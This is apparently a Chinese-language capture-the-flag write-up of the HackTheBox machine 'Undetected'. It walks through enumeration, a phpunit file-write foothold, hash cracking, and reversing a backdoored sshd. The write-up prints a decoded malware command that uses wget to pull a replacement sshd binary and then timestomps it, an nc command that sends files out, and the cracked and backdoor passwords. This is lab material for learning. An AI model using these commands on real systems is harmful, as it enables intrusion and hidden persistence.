概述 (Overview)
HOST: 10.10.11.146
OS: LINUX
发布时间: 2022-02-20
完成时间: 2022-06-20
机器作者: TheCyberGeek
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #ArbitraryFileWrite #BinaryAnalysis #CommandInjection #Backdoor
攻击链(Kiillchain)
使用 Nmap 对目标服务器开放端口进行扫描,在 Web 页面中找到二级域名并进行路径枚举。发现 phpunit 组件存在任意文件写入,利用该漏洞成功获得目标服务器立足点。随后通过文件搜索发现可疑的进程 dump 文件,从中提取出密码哈希并进行明文密码枚举,成功完成账号的横向移动。通过查看用户的邮箱详情内容,排查 apache 服务在组件 Model 中发现可疑的 bash 命令。进一步分析 bash 命令得到存在 sshd 服务后门二进制文件。最终结合逆向分析得到后门 ssh 登录密码,完成权限提升。
枚举(Enumeration)
开始依然是使用 Nmap 工具,扫描目标系统开放端口。
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Diana\'s Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)
从结果中获悉目标服务器是 Ubuntu,对外暴漏的端口仅有两个,看来又是一台 Web 漏洞的 VulBox。
Port 80 - HTTP
浏览器访问目标服务器 Web 服务,可以得到一个购物网站。
简单浏览器下页面内容,能够得到一个维护公告,看来需要找找别的路径。
NOTICE
Due to a website migration we are currently not taking any online orders. Contact us if you wish to make a purchase
注意
由于网站迁移,我们目前不接受任何在线订单。 如果您想购买,请联系我们
立足点(Foothold)
通过查看下页面源代码能够得到一个二级站点的域名,直接加入到 hosts 文件里进行访问即可。
在此期间,使用 Gobuster 工具对子域名、子路径分别进行了枚举,能够 store 站点下的 ./vendor
路径中得到站点使用的组件信息。
开始逐个检查组件服务,搜索是否存在可以利用的脆弱性漏洞,成功找到了 phpunit 存在任意文件写入漏洞。
https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/
参考文章内容,直接发送漏洞 payload 数据包生成自定义的 Webshell:
利用这个 Webshell ,成功拿到目标服务器的立足点。
横向移动(Lateral Movement)
检查服务器可登录 User,发现存在一个 steven 用户,接着开始进行用户横向移动。
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Feb 8 19:59 .
drwxr-xr-x 19 root root 4096 Feb 8 19:59 ..
drwxr-x--- 5 steven steven 4096 Feb 8 19:59 steven
cat /etc/passwd
...snip...
root:x:0:0:root:/root:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
...snip...
使用 wget 命令将 linpeas 脚本传递到目标服务器,运行脚本进行环境脆弱性枚举。让后将结果通过 nc 进行简单的文件传递,回传到 Kali 服务器。
接收方-->>>>> kali# nc -lnp 9091 > linpeas.txt
发送方-->>>>> Undetected$ nc -w 5 10.10.17.64 9091 < linpeas.txt
发现在 /var/backups 目录中存在一个可疑的文件,查看文件内容像是一段进程 dump 详情。其中一段 /bin/bash 执行内容引起了我的注意。
将内容复制到 CyberChef 工具中进行编码转换,得到一段创建账号的命令。
将命令中的密码哈希单独复制出来,通过 john 工具进行明文字典枚举,成功得到明文。
$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules ./1000.hash
ihatehackers
$ sshpass -p 'ihatehackers' ssh steven1@10.10.11.146
随后通过该明文密码成功 ssh 登录,获得 steven1 用户交互 shell。
权限提升(Privilege Escalation)
通过当前身份重新运行 linpeas 脚本,进行环境脆弱性分析得到两个可能利用的 CVE 漏洞。
检查了服务器环境,发现没有 GCC、Make 等命令。尝试通过本地运行 Docker,生成对应目标服务器环境的 exploit 二进制文件,传递到目标服务器执行都失败了。
尝试查看其他信息,发现目标服务器文件中存在邮箱详情。
邮件说在 Apache 服务中存在一些奇怪的行为,顺着这一线索去检查 Apache 配置文件、Web 站点目录及组件库。
steven@production:/usr/lib/apache2/modules$ ls -tlr | head
total 8772
-rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so
-rw-r--r-- 1 root root 4625776 Nov 25 2021 libphp7.4.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_xml2enc.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_vhost_alias.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_usertrack.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_userdir.so
-rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_unique_id.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_suexec.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_substitute.so
-t, --sort=time
# 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件靠前。
-l, --format=long, --format=verbose
# 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
# 、及时间信息(如未指明是其它时间即指修改时间)。
-r # 逆序排列。
通过排序近期文件修改时间,发现 mod_reader.so 文件存在可疑。将其传递至 kali 进行分析,这里我用的是 hexyl 工具,比 xxd 的优点就是可以高亮显示。
hexyl - https://github.com/sharkdp/hexyl
简单查看下,发现里面存在一段 bash 命令执行命令。
使用 base64 对其解密可以得到原始命令:
echo 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
可以看到,从远端下载了一个新的 sshd 二进制文件,替换了目标服务器上的 sshd。所以继续将 /usr/sbin/sshd 文件传递到 kali,进行本地分析。
这里出现了一个有意思的东西,我分别使用 Cutter、IDA、Ghidra 进行分析,里面都有一个 auth_password 的后门方法,但它们生成的伪代码都不一样,后门密码比对生成的 char 编码也不一致,人都给看麻了。
这里我最终提取的 Ghidra 的伪代码段,它对 char 的还原比较直观。
backdoor._28_2_ = 0xa9f4; backdoor._24_4_ = 0xbcf0b5e3; backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; backdoor[30] = 0xa5; backdoor._0_4_ = 0xf0e7abd6; backdoor._4_4_ = 0xa4b3a3f3; backdoor._8_4_ = 0xf7bbfdc8; backdoor._12_4_ = 0xfdb3d6e7;
这里说明下,在之前的伪代码段中 backdoor 是 char 类型的数组,长度为 31。下标从 0 开始,所以我们要对 backdoor.0_4 至 backdoor[30] 进行排序。注意,最后还有一个对 char 进行异或的运算(^0x96)。
这里我还是使用 CyberChef 工具来完成字符串处理:
pass=>> @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
得到最终的后门密码,直接进行 ssh 登录就可以了。